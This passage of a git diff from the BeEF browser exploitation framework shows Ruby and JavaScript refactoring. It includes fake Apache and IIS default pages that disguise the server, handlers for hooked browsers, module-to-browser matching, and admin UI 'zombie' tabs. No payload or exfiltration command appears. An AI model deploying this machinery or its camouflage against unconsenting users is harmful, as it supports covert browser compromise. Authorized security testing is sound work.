|
||||
"font-family: sans-serif,helvetica;" +
|
||||
"margin: 0;" +
|
||||
"padding: 0; " +
|
||||
"} " +
|
||||
":link { " +
|
||||
"color: #0000FF; " +
|
||||
"} " +
|
||||
":visited { " +
|
||||
"color: #0000FF; " +
|
||||
"} " +
|
||||
"a:hover { " +
|
||||
"color: #3399FF; " +
|
||||
"} " +
|
||||
"h1 { " +
|
||||
" text-align: center; " +
|
||||
" margin: 0; " +
|
||||
" padding: 0.6em 2em 0.4em; " +
|
||||
" background-color: #3399FF;" +
|
||||
" color: #ffffff; " +
|
||||
" font-weight: normal; " +
|
||||
" font-size: 1.75em; " +
|
||||
" border-bottom: 2px solid #000; " +
|
||||
"} " +
|
||||
"h1 strong {" +
|
||||
"font-weight: bold; " +
|
||||
"} " +
|
||||
"h2 { " +
|
||||
" font-size: 1.1em;" +
|
||||
"font-weight: bold; " +
|
||||
"} " +
|
||||
".content { " +
|
||||
" padding: 1em 5em; " +
|
||||
"} " +
|
||||
".content-columns { " +
|
||||
" /* Setting relative positioning allows for " +
|
||||
" absolute positioning for sub-classes */ " +
|
||||
" position: relative; " +
|
||||
" padding-top: 1em; " +
|
||||
"} " +
|
||||
".content-column-left { " +
|
||||
" /* Value for IE/Win; will be overwritten for other browsers */" +
|
||||
" width: 47%; " +
|
||||
" padding-right: 3%; " +
|
||||
" float: left; " +
|
||||
" padding-bottom: 2em; " +
|
||||
"} " +
|
||||
".content-column-right { " +
|
||||
" /* Values for IE/Win; will be overwritten for other browsers */" +
|
||||
" width: 47%; " +
|
||||
" padding-left: 3%; " +
|
||||
" float: left; " +
|
||||
" padding-bottom: 2em; " +
|
||||
"} " +
|
||||
".content-columns>.content-column-left, .content-columns>.content-column-right {" +
|
||||
" /* Non-IE/Win */" +
|
||||
"} " +
|
||||
"img { " +
|
||||
" border: 2px solid #fff; " +
|
||||
" padding: 2px; " +
|
||||
" margin: 2px; " +
|
||||
"} " +
|
||||
"a:hover img { " +
|
||||
" border: 2px solid #3399FF; " +
|
||||
"} " +
|
||||
"</style> " +
|
||||
"</head> " +
|
||||
"<body> " +
|
||||
"<h1>Apache 2 Test Page<br><font size=\"-1\"><strong>powered by</font> CentOS</strong></h1>" +
|
||||
"<div class=\"content\">" +"<div class=\"content-middle\">" +
|
||||
"<p>This page is used to test the proper operation of the Apache HTTP server after it has been installed. If you can read this page it means that the Apache HTTP server installed at this site is working properly.</p>" +
|
||||
"</div>" +
|
||||
"<hr />" +
|
||||
"<div class=\"content-columns\">" +
|
||||
"<div class=\"content-column-left\"> " +
|
||||
"<h2>If you are a member of the general public:</h2>" +
|
||||
"<p>The fact that you are seeing this page indicates that the website you just visited is either experiencing problems or is undergoing routine maintenance.</p>" +
|
||||
"<p>If you would like to let the administrators of this website know that you've seen this page instead of the page you expected, you should send them e-mail. In general, mail sent to the name \"webmaster\" and directed to the website's domain should reach the appropriate person.</p> " +
|
||||
"<p>For example, if you experienced problems while visiting www.example.com, you should send e-mail to \"webmaster@example.com\".</p>" +
|
||||
"</div>" +
|
||||
"<div class=\"content-column-right\">" +
|
||||
"<h2>If you are the website administrator:</h2>" +
|
||||
"<p>You may now add content to the directory <tt>/var/www/html/</tt>. Note that until you do so, people visiting your website will see this page and not your content. To prevent this page from ever being used, follow the instructions in the file <tt>/etc/httpd/conf.d/welcome.conf</tt>.</p>" +
|
||||
"<p>You are free to use the images below on Apache and CentOS Linux powered HTTP servers. Thanks for using Apache and CentOS!</p>" +
|
||||
"<p><a href=\"http://httpd.apache.org/\"><img src=\"/ui/media/images/icons/apache_pb.gif\" alt=\"[ Powered by Apache ]\"/></a> <a href=\"http://www.centos.org/\"><img src=\"/ui/media/images/icons/powered_by_rh.png\" alt=\"[ Powered by CentOS Linux ]\" width=\"88\" height=\"31\" /></a></p>" +
|
||||
"</div>" +
|
||||
"</div>" +
|
||||
"</div>" +
|
||||
" <div class=\"content\">" +
|
||||
"<div class=\"content-middle\"><h2>About CentOS:</h2><b>The Community ENTerprise Operating System</b> (CentOS) is an Enterprise-class Linux Distribution derived from sources freely provided to the public by a prominent North American Enterprise Linux vendor. CentOS conforms fully with the upstream vendors redistribution policy and aims to be 100% binary compatible. (CentOS mainly changes packages to remove upstream vendor branding and artwork.) The CentOS Project is the organization that builds CentOS.</p>" +
|
||||
"<p>For information on CentOS please visit the <a href=\"http://www.centos.org/\">CentOS website</a>.</p>" +
|
||||
"<p><h2>Note:</h2><p>CentOS is an Operating System and it is used to power this website; however, the webserver is owned by the domain owner and not the CentOS Project. <b>If you have issues with the content of this site, contact the owner of the domain, not the CentOS project.</b>" +
|
||||
"<p>Unless this server is on the CentOS.org domain, the CentOS Project doesn't have anything to do with the content on this webserver or any e-mails that directed you to this site.</p> " +
|
||||
"<p>For example, if this website is www.example.com, you would find the owner of the example.com domain at the following WHOIS server:</p>" +
|
||||
"<p><a href=\"http://www.internic.net/whois.html\">http://www.internic.net/whois.html</a></p>" +
|
||||
"</div>" +
|
||||
"</div>" +
|
||||
"</body>" +
|
||||
"</html>"
|
||||
when "iis"
|
||||
"<html>" +
|
||||
"<head>" +
|
||||
"<meta HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=Windows-1252\">" +
|
||||
"<title ID=titletext>Under Construction</title>" +
|
||||
"</head>" +
|
||||
"<body bgcolor=white>" +
|
||||
"<table>" +
|
||||
"<tr>" +
|
||||
"<td ID=tableProps width=70 valign=top align=center>" +
|
||||
"<img ID=pagerrorImg src=\"/ui/media/images/icons/pagerror.gif\" width=36 height=48>" +
|
||||
"<td ID=tablePropsWidth width=400>" +
|
||||
"<h1 ID=errortype style=\"font:14pt/16pt verdana; color:#4e4e4e\">" +
|
||||
"<P ID=Comment1><!--Problem--><P ID=\"errorText\">Under Construction</h1>" +
|
||||
"<P ID=Comment2><!--Probable causes:<--><P ID=\"errordesc\"><font style=\"font:9pt/12pt verdana; color:black\">" +
|
||||
"The site you are trying to view does not currently have a default page. It may be in the process of being upgraded and configured." +
|
||||
"<P ID=term1>Please try this site again later. If you still experience the problem, try contacting the Web site administrator." +
|
||||
"<hr size=1 color=\"blue\">" +
|
||||
"<P ID=message1>If you are the Web site administrator and feel you have received this message in error, please see "Enabling and Disabling Dynamic Content" in IIS Help." +
|
||||
"<h5 ID=head1>To access IIS Help</h5>" +
|
||||
"<ol>" +
|
||||
"<li ID=bullet1>Click <b>Start</b>, and then click <b>Run</b>." +
|
||||
"<li ID=bullet2>In the <b>Open</b> text box, type <b>inetmgr</b>. IIS Manager appears." +
|
||||
"<li ID=bullet3>From the <b>Help</b> menu, click <b>Help Topics</b>." +
|
||||
"<li ID=bullet4>Click <b>Internet Information Services</b>.</ol>" +
|
||||
"</td>" +
|
||||
"</tr>" +
|
||||
"</table>" +
|
||||
"</body>" +
|
||||
"</html>"
|
||||
else
|
||||
""
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -82,6 +82,9 @@ module BeEF
|
||||
# Create http handler for the javascript hook file
|
||||
self.mount("#{@configuration.get("beef.http.hook_file")}", BeEF::Core::Handlers::HookedBrowsers.new)
|
||||
|
||||
# Create handler for the initialization checks (Browser Details)
|
||||
self.mount("/init", BeEF::Core::Handlers::BrowserDetails)
|
||||
|
||||
# Dynamically get the list of all the http handlers using the API and register them
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'mount_handler', self)
|
||||
|
||||
|
||||
@@ -67,11 +67,6 @@ module BeEF
|
||||
if class_symbol and class_symbol.respond_to?(:options)
|
||||
return class_symbol.options
|
||||
end
|
||||
#TODO: do we really need to print this info? At then modules with no options are common,
|
||||
# so I guess we shouldn't print this info even in debug mode
|
||||
# else
|
||||
# print_debug "Module '#{mod}', no options method defined"
|
||||
# end
|
||||
end
|
||||
return []
|
||||
end
|
||||
@@ -208,10 +203,13 @@ module BeEF
|
||||
case v
|
||||
when String
|
||||
if opts['browser'] == v
|
||||
# if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
|
||||
# rating += 1
|
||||
# end
|
||||
results << {'rating' => 2, 'const' => k}
|
||||
end
|
||||
when Hash
|
||||
if opts['browser'] == v.keys.first
|
||||
if opts['browser'] == v.keys.first or v.keys.first == BeEF::Core::Constants::Browsers::ALL
|
||||
subv = v[v.keys.first]
|
||||
rating = 1
|
||||
#version check
|
||||
@@ -241,14 +239,15 @@ module BeEF
|
||||
rating += 1
|
||||
match = true
|
||||
elsif subv['os'] == BeEF::Core::Constants::Os::OS_ALL_UA_STR
|
||||
rating += 1
|
||||
match = true
|
||||
end
|
||||
when Array
|
||||
subv['os'].each{|p|
|
||||
if o == p or p == BeEF::Core::Constants::Os::OS_ALL_UA_STR
|
||||
if o == p
|
||||
rating += 1
|
||||
match = true
|
||||
elsif p == BeEF::Core::Constants::Os::OS_ALL_UA_STR
|
||||
match = true
|
||||
end
|
||||
}
|
||||
end
|
||||
@@ -257,18 +256,35 @@ module BeEF
|
||||
break
|
||||
end
|
||||
end
|
||||
if rating != 1
|
||||
if rating > 0
|
||||
# if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
|
||||
# rating += 1
|
||||
# end
|
||||
results << {'rating' => rating, 'const' => k}
|
||||
end
|
||||
end
|
||||
end
|
||||
if v == BeEF::Core::Constants::Browsers::ALL
|
||||
results << {'rating' => 1, 'const' => k}
|
||||
rating = 1
|
||||
if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
|
||||
rating = 1
|
||||
end
|
||||
results << {'rating' => rating, 'const' => k}
|
||||
end
|
||||
}
|
||||
}
|
||||
if results.count > 0
|
||||
return results.sort_by {|v| v['rating']}.last['const']
|
||||
result = {}
|
||||
results.each {|r|
|
||||
if result == {}
|
||||
result = {'rating' => r['rating'], 'const' => r['const']}
|
||||
else
|
||||
if r['rating'] > result['rating']
|
||||
result = {'rating' => r['rating'], 'const' => r['const']}
|
||||
end
|
||||
end
|
||||
}
|
||||
return result['const']
|
||||
else
|
||||
return BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
|
||||
end
|
||||
@@ -413,22 +429,22 @@ module BeEF
|
||||
# @param [String] mod module key
|
||||
# @param [String] hbsession hooked browser session
|
||||
# @param [Array] opts array of module execute options (see #get_options)
|
||||
# @return [Boolean] whether or not the BeEF system executed the module
|
||||
# @return [Fixnum] the command_id associated to the module execution when info is persisted. nil if there are errors.
|
||||
# @note The return value of this function does not specify if the module was successful, only that it was executed within the framework
|
||||
def self.execute(mod, hbsession, opts=[])
|
||||
if not (self.is_present(mod) and self.is_enabled(mod))
|
||||
print_error "Module not found '#{mod}'. Failed to execute module."
|
||||
return false
|
||||
return nil
|
||||
end
|
||||
if BeEF::API::Registrar.instance.matched?(BeEF::API::Module, 'override_execute', [mod, nil,nil])
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'override_execute', mod, hbsession,opts)
|
||||
# @note We return true by default as we cannot determine the correct status if multiple API hooks have been called
|
||||
return true
|
||||
# @note We return not_nil by default as we cannot determine the correct status if multiple API hooks have been called
|
||||
return 'not_available' # @note using metasploit, we cannot know if the module execution was successful or not
|
||||
end
|
||||
hb = BeEF::HBManager.get_by_session(hbsession)
|
||||
if not hb
|
||||
print_error "Could not find hooked browser when attempting to execute module '#{mod}'"
|
||||
return false
|
||||
return nil
|
||||
end
|
||||
self.check_hard_load(mod)
|
||||
command_module = self.get_definition(mod).new(mod)
|
||||
@@ -436,12 +452,12 @@ module BeEF
|
||||
command_module.pre_execute
|
||||
end
|
||||
h = self.merge_options(mod, [])
|
||||
c = BeEF::Core::Models::Command.new(:data => self.merge_options(mod, opts).to_json,
|
||||
c = BeEF::Core::Models::Command.create(:data => self.merge_options(mod, opts).to_json,
|
||||
:hooked_browser_id => hb.id,
|
||||
:command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"),
|
||||
:creationdate => Time.new.to_i
|
||||
).save
|
||||
return true
|
||||
)
|
||||
return c.id
|
||||
end
|
||||
|
||||
# Merges default module options with array of custom options
|
||||
|
||||
@@ -15,20 +15,20 @@
|
||||
#
|
||||
class Hash
|
||||
|
||||
# Recursively deep merge two hashes together
|
||||
# @param [Hash] hash Hash to be merged
|
||||
# @return [Hash] Combined hash
|
||||
# @note Duplicate keys are overwritten by the value defined in the hash calling deep_merge (not the parameter hash)
|
||||
# @note http://snippets.dzone.com/posts/show/4706
|
||||
def deep_merge(hash)
|
||||
target = dup
|
||||
hash.keys.each do |key|
|
||||
if hash[key].is_a? Hash and self[key].is_a? Hash
|
||||
target[key] = target[key].deep_merge(hash[key])
|
||||
next
|
||||
end
|
||||
target[key] = hash[key]
|
||||
end
|
||||
target
|
||||
# Recursively deep merge two hashes together
|
||||
# @param [Hash] hash Hash to be merged
|
||||
# @return [Hash] Combined hash
|
||||
# @note Duplicate keys are overwritten by the value defined in the hash calling deep_merge (not the parameter hash)
|
||||
# @note http://snippets.dzone.com/posts/show/4706
|
||||
def deep_merge(hash)
|
||||
target = dup
|
||||
hash.keys.each do |key|
|
||||
if hash[key].is_a? Hash and self[key].is_a? Hash
|
||||
target[key] = target[key].deep_merge(hash[key])
|
||||
next
|
||||
end
|
||||
target[key] = hash[key]
|
||||
end
|
||||
target
|
||||
end
|
||||
end
|
||||
|
||||
@@ -21,7 +21,7 @@ class Module
|
||||
classes = []
|
||||
ObjectSpace.each_object(Class) { |k| classes << k if k.included_modules.include?(self) }
|
||||
|
||||
classes.reverse.inject([]) do |unique_classes, klass|
|
||||
classes.reverse.inject([]) do |unique_classes, klass|
|
||||
unique_classes << klass unless unique_classes.collect { |k| k.to_s }.include?(klass.to_s)
|
||||
unique_classes
|
||||
end
|
||||
@@ -32,26 +32,8 @@ class Module
|
||||
def included_in_modules
|
||||
modules = []
|
||||
ObjectSpace.each_object(Module) { |k| modules << k if k.included_modules.include?(self) }
|
||||
|
||||
modules.reverse.inject([]) do |unique_modules, klass|
|
||||
unique_modules << klass unless unique_modules.collect { |k| k.to_s }.include?(klass.to_s)
|
||||
unique_modules
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the modules extended inside the target module
|
||||
# @return [Array] Array of modules
|
||||
def extended_modules
|
||||
(class << self; self end).included_modules
|
||||
end
|
||||
|
||||
# Returns the modules extending the target module
|
||||
# @return [Array] Array of modules
|
||||
def extended_in_modules
|
||||
modules = []
|
||||
ObjectSpace.each_object(Module) { |k| modules << k if k.extended_modules.include?(self) }
|
||||
|
||||
modules.reverse.inject([]) do |unique_modules, klass|
|
||||
|
||||
modules.reverse.inject([]) do |unique_modules, klass|
|
||||
unique_modules << klass unless unique_modules.collect { |k| k.to_s }.include?(klass.to_s)
|
||||
unique_modules
|
||||
end
|
||||
|
||||
@@ -14,35 +14,35 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
class Object
|
||||
|
||||
|
||||
# Returns true if the object is a Boolean
|
||||
# @return [Boolean] Whether the object is boolean
|
||||
def boolean?
|
||||
self.is_a?(TrueClass) || self.is_a?(FalseClass)
|
||||
self.is_a?(TrueClass) || self.is_a?(FalseClass)
|
||||
end
|
||||
|
||||
|
||||
# Returns true if the object is a String
|
||||
# @return [Boolean] Whether the object is a string
|
||||
def string?
|
||||
self.is_a?(String)
|
||||
end
|
||||
|
||||
|
||||
# Returns true if the object is an Integer
|
||||
# @return [Boolean] Whether the object is an integer
|
||||
def integer?
|
||||
self.is_a?(Integer)
|
||||
end
|
||||
|
||||
|
||||
# Returns true if the object is a hash
|
||||
# @return [Boolean] Whether the object is a hash
|
||||
def hash?
|
||||
self.is_a?(Hash)
|
||||
end
|
||||
|
||||
|
||||
# Returns true if the object is a class
|
||||
# @return [Boolean] Whether the object is a class
|
||||
def class?
|
||||
self.is_a?(Class)
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
@@ -55,27 +55,27 @@ module DataMapper
|
||||
|
||||
def normalized_uri
|
||||
@normalized_uri ||=
|
||||
begin
|
||||
keys = [
|
||||
:adapter, :user, :password, :host, :port, :path, :fragment,
|
||||
:scheme, :query, :username, :database ]
|
||||
query = DataMapper::Ext::Hash.except(@options, keys)
|
||||
query = nil if query.empty?
|
||||
begin
|
||||
keys = [
|
||||
:adapter, :user, :password, :host, :port, :path, :fragment,
|
||||
:scheme, :query, :username, :database ]
|
||||
query = DataMapper::Ext::Hash.except(@options, keys)
|
||||
query = nil if query.empty?
|
||||
|
||||
# Better error message in case port is no Numeric value
|
||||
port = @options[:port].nil? ? nil : @options[:port].to_int
|
||||
# Better error message in case port is no Numeric value
|
||||
port = @options[:port].nil? ? nil : @options[:port].to_int
|
||||
|
||||
DataObjects::URI.new({
|
||||
:scheme => @options[:adapter],
|
||||
:user => @options[:user] || @options[:username],
|
||||
:password => @options[:password],
|
||||
:host => @options[:host],
|
||||
:port => port,
|
||||
:path => @options[:path] || @options[:database],
|
||||
:query => query,
|
||||
:fragment => @options[:fragment]
|
||||
}).freeze
|
||||
end
|
||||
DataObjects::URI.new({
|
||||
:scheme => @options[:adapter],
|
||||
:user => @options[:user] || @options[:username],
|
||||
:password => @options[:password],
|
||||
:host => @options[:host],
|
||||
:port => port,
|
||||
:path => @options[:path] || @options[:database],
|
||||
:query => query,
|
||||
:fragment => @options[:fragment]
|
||||
}).freeze
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -29,12 +29,11 @@ end
|
||||
# Function used to print debug information
|
||||
# @param [String] s String to be printed
|
||||
# @note This function will only print messages if the debug flag is set to true
|
||||
# @todo Once the console extension has been merged into the core, remove the extension checks.
|
||||
def print_debug(s)
|
||||
config = BeEF::Core::Configuration.instance
|
||||
if config.get('beef.debug') || (BeEF::Extension.is_loaded('console') && BeEF::Extension::Console.verbose?)
|
||||
puts Time.now.localtime.strftime("[%k:%M:%S]")+'[>]'.yellow+' '+s.to_s
|
||||
end
|
||||
config = BeEF::Core::Configuration.instance
|
||||
if config.get('beef.debug') || BeEF::Core::Console::CommandLine.parse[:verbose]
|
||||
puts Time.now.localtime.strftime("[%k:%M:%S]")+'[>]'.yellow+' '+s.to_s
|
||||
end
|
||||
end
|
||||
|
||||
# Function used to print successes to the console
|
||||
@@ -49,14 +48,14 @@ end
|
||||
def print_more(s)
|
||||
time = Time.now.localtime.strftime("[%k:%M:%S]")
|
||||
lines = s.split("\n")
|
||||
|
||||
lines.each_with_index do |line, index|
|
||||
|
||||
lines.each_with_index do |line, index|
|
||||
if ((index+1) == lines.size)
|
||||
puts "#{time} |_ #{line}"
|
||||
else
|
||||
puts "#{time} | #{line}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Function used to print over the current line
|
||||
|
||||
@@ -18,5 +18,5 @@ class String
|
||||
# @note Use a gem to colorize the console.
|
||||
# @note http://flori.github.com/term-ansicolor/
|
||||
include Term::ANSIColor
|
||||
|
||||
|
||||
end
|
||||
|
||||
@@ -29,7 +29,7 @@ module API
|
||||
# Get the browser detail from the database.
|
||||
#
|
||||
def get_browser_detail(key)
|
||||
bd = BeEF::Extension::Initialization::Models::BrowserDetails
|
||||
bd = BeEF::Core::Models::BrowserDetails
|
||||
(print_error "@session_id is invalid";return) if not BeEF::Filters.is_valid_hook_session_id?(@session_id)
|
||||
bd.get(@session_id, key)
|
||||
end
|
||||
|
||||
@@ -44,8 +44,10 @@ module API
|
||||
beef_server.mount('/ui/media', Rack::File.new(media_dir))
|
||||
|
||||
|
||||
# mount the favicon file
|
||||
beef_server.mount('/favicon.ico', Rack::File.new("#{media_dir}#{configuration.get("beef.extension.admin_ui.favicon_dir")}/#{configuration.get("beef.extension.admin_ui.favicon_file_name")}"))
|
||||
# mount the favicon file, if we're not imitating a web server.
|
||||
if !configuration.get("beef.http.web_server_imitation.enable")
|
||||
beef_server.mount('/favicon.ico', Rack::File.new("#{media_dir}#{configuration.get("beef.extension.admin_ui.favicon_dir")}/#{configuration.get("beef.extension.admin_ui.favicon_file_name")}"))
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -17,9 +17,7 @@ beef:
|
||||
extension:
|
||||
admin_ui:
|
||||
name: 'Admin UI'
|
||||
enable: true
|
||||
username: "beef"
|
||||
password: "beef"
|
||||
enable: true
|
||||
favicon_file_name: "favicon.ico"
|
||||
favicon_dir: "/images"
|
||||
login_fail_delay: 1
|
||||
|
||||
@@ -69,7 +69,7 @@ class Authentication < BeEF::Extension::AdminUI::HttpController
|
||||
end
|
||||
|
||||
# check username and password
|
||||
if not (username.eql? config.get('beef.extension.admin_ui.username') and password.eql? config.get('beef.extension.admin_ui.password') )
|
||||
if not (username.eql? config.get('beef.credentials.user') and password.eql? config.get('beef.credentials.passwd') )
|
||||
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has failed to authenticate in the application.")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -23,7 +23,7 @@ module Controllers
|
||||
#
|
||||
class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
|
||||
BD = BeEF::Extension::Initialization::Models::BrowserDetails
|
||||
BD = BeEF::Core::Models::BrowserDetails
|
||||
|
||||
def initialize
|
||||
super({
|
||||
@@ -208,36 +208,6 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the internal ip address
|
||||
internal_ip = BD.get(zombie_session, 'InternalIP')
|
||||
if not internal_ip.nil?
|
||||
encoded_internal_ip = CGI.escapeHTML(internal_ip)
|
||||
encoded_internal_ip_hash = { 'Internal IP' => encoded_internal_ip }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Host',
|
||||
'data' => encoded_internal_ip_hash,
|
||||
'from' => 'Initialization'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the internal hostname
|
||||
internal_hostname = BD.get(zombie_session, 'InternalHostname')
|
||||
if not internal_hostname.nil?
|
||||
encoded_internal_hostname = CGI.escapeHTML(internal_hostname)
|
||||
encoded_internal_hostname_hash = { 'Internal Hostname' => encoded_internal_hostname }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Host',
|
||||
'data' => encoded_internal_hostname_hash,
|
||||
'from' => 'Initialization'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the System Platform
|
||||
system_platform = BD.get(zombie_session, 'SystemPlatform')
|
||||
if not system_platform.nil?
|
||||
@@ -636,7 +606,8 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
def2.push({'name' => k, 'value' => v})
|
||||
}
|
||||
# End hack
|
||||
@body = (BeEF::Module.execute(mod_key, zombie_session, def2)) ? '{success: true}' : '{success: false}'
|
||||
exec_results = BeEF::Module.execute(mod_key, zombie_session, def2)
|
||||
@body = (exec_results != nil) ? '{success: true}' : '{success: false}'
|
||||
end
|
||||
|
||||
# Re-execute an command_module to a zombie.
|
||||
|
||||
@@ -48,7 +48,7 @@
|
||||
<%= nonce_tag %>
|
||||
<div id="header">
|
||||
<div class="right-menu">
|
||||
<img src="/favicon.ico" alt="BeEF" title="BeEF" />
|
||||
<img src="/ui/media/images/favicon.ico" alt="BeEF" title="BeEF" />
|
||||
BeEF <%= BeEF::Core::Configuration.instance.get('beef.version') %> |
|
||||
<a id='do-submit-bug-menu' href='https://github.com/beefproject/beef/issues/new' target='_blank'>Submit Bug</a> |
|
||||
<a id='do-logout-menu' href='#'>Logout</a>
|
||||
|
||||
@@ -85,9 +85,9 @@ class Panel < BeEF::Extension::AdminUI::HttpController
|
||||
# create a hash of simple hooked browser details
|
||||
def get_simple_hooked_browser_hash(hooked_browser)
|
||||
|
||||
browser_icon = BeEF::Extension::Initialization::Models::BrowserDetails.browser_icon(hooked_browser.session)
|
||||
os_icon = BeEF::Extension::Initialization::Models::BrowserDetails.os_icon(hooked_browser.session)
|
||||
domain = BeEF::Extension::Initialization::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
|
||||
browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session)
|
||||
os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session)
|
||||
domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
|
||||
|
||||
return {
|
||||
'session' => hooked_browser.session,
|
||||
|
||||
@@ -80,7 +80,7 @@ class Xssrays < BeEF::Extension::AdminUI::HttpController
|
||||
)
|
||||
xssrays_scan.save
|
||||
|
||||
print_info("[XSSRAYS] Starting XSSRays on HB with ip [#{hooked_browser.ip.to_s}], hooked on domain [#{hooked_browser.domain.to_s}]")
|
||||
print_info("[XSSRAYS] Starting XSSRays [ip:#{hooked_browser.ip.to_s}], hooked domain [#{hooked_browser.domain.to_s}]")
|
||||
end
|
||||
|
||||
end
|
||||
@@ -116,7 +116,7 @@ class Xssrays < BeEF::Extension::AdminUI::HttpController
|
||||
)
|
||||
xssrays_scan.save
|
||||
|
||||
print_info("[XSSRAYS] Starting XSSRays on HB with ip [#{hooked_browser.ip.to_s}], hooked on domain [#{hooked_browser.domain.to_s}]")
|
||||
print_info("[XSSRAYS] Starting XSSRays [ip:#{hooked_browser.ip.to_s}], hooked domain [#{hooked_browser.domain.to_s}]")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -124,4 +124,4 @@ end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
BIN
extensions/admin_ui/media/images/icons/apache_pb.gif
Normal file
BIN
extensions/admin_ui/media/images/icons/apache_pb.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 2.3 KiB |
BIN
extensions/admin_ui/media/images/icons/pagerror.gif
Normal file
BIN
extensions/admin_ui/media/images/icons/pagerror.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 2.7 KiB |
BIN
extensions/admin_ui/media/images/icons/powered_by_rh.png
Normal file
BIN
extensions/admin_ui/media/images/icons/powered_by_rh.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.2 KiB |
77
extensions/admin_ui/media/javascript/ui/panel/HooksTab.js
Normal file
77
extensions/admin_ui/media/javascript/ui/panel/HooksTab.js
Normal file
@@ -0,0 +1,77 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
HooksTab = function() {
|
||||
|
||||
/*
|
||||
* The panel used to configure the hook.
|
||||
********************************************/
|
||||
var hooks_panel = new Ext.FormPanel({
|
||||
title: 'Hooks',
|
||||
id: 'hooks-panel',
|
||||
hideLabels : false,
|
||||
border: false,
|
||||
padding: '3px 5px 0 5px',
|
||||
|
||||
items:[{
|
||||
fieldLabel: 'Text',
|
||||
xtype: 'textarea',
|
||||
id: 'inputText',
|
||||
name: 'inputText',
|
||||
width: '100%',
|
||||
height: '40%',
|
||||
allowBlank: true
|
||||
},{
|
||||
fieldLabel: 'Result',
|
||||
xtype: 'textarea',
|
||||
id: 'resultText',
|
||||
name: 'resultText',
|
||||
width: '100%',
|
||||
height: '40%',
|
||||
allowBlank: true
|
||||
}],
|
||||
|
||||
buttons: [{
|
||||
text: 'Add Hook',
|
||||
handler: function() {
|
||||
var form = Ext.getCmp('hooks-panel').getForm();
|
||||
var form_values = form.getValues();
|
||||
var input_text = form_values['inputText'];
|
||||
var result="";
|
||||
form.setValues({resultText: result});
|
||||
}
|
||||
},{
|
||||
text: 'Delete Hook',
|
||||
handler: function() {
|
||||
var form = Ext.getCmp('hooks-panel').getForm();
|
||||
var form_values = form.getValues();
|
||||
var input_text = form_values['inputText'];
|
||||
var result="";
|
||||
form.setValues({resultText: result});
|
||||
}
|
||||
}]
|
||||
|
||||
});
|
||||
|
||||
HooksTab.superclass.constructor.call(this, {
|
||||
region: 'center',
|
||||
items: [hooks_panel],
|
||||
autoScroll: true,
|
||||
border: false
|
||||
});
|
||||
|
||||
};
|
||||
|
||||
Ext.extend(HooksTab,Ext.Panel, {});
|
||||
@@ -41,6 +41,7 @@ MainPanel = function(){
|
||||
this.grid = new DataGrid('/ui/logs/all.json',30);
|
||||
this.grid.border = false;
|
||||
this.welcome_tab = new WelcomeTab;
|
||||
//this.hooks_tab = new HooksTab;
|
||||
//this.hackvertor_tab = new HackVertorTab;
|
||||
|
||||
MainPanel.superclass.constructor.call(this, {
|
||||
@@ -71,7 +72,14 @@ MainPanel = function(){
|
||||
items:[
|
||||
this.grid
|
||||
/*
|
||||
]},{
|
||||
]},{
|
||||
id:'hooks-view',
|
||||
layout:'border',
|
||||
title:'Hooks',
|
||||
hideMode:'offsets',
|
||||
items:[
|
||||
//this.hooks_tab
|
||||
]},{
|
||||
id:'hackvertor-view',
|
||||
layout:'border',
|
||||
title:'HackVertor',
|
||||
|
||||
@@ -21,27 +21,25 @@ ZombieTab = function(zombie) {
|
||||
requester_tab = new ZombieTab_Requester(zombie);
|
||||
xssrays_tab = new ZombieTab_XssRaysTab(zombie);
|
||||
|
||||
//-------------------------------------------
|
||||
ZombieTab.superclass.constructor.call(this, {
|
||||
id: zombie.session,
|
||||
id:"current-browser",
|
||||
activeTab: 0,
|
||||
loadMask: {msg:'Loading browser...'},
|
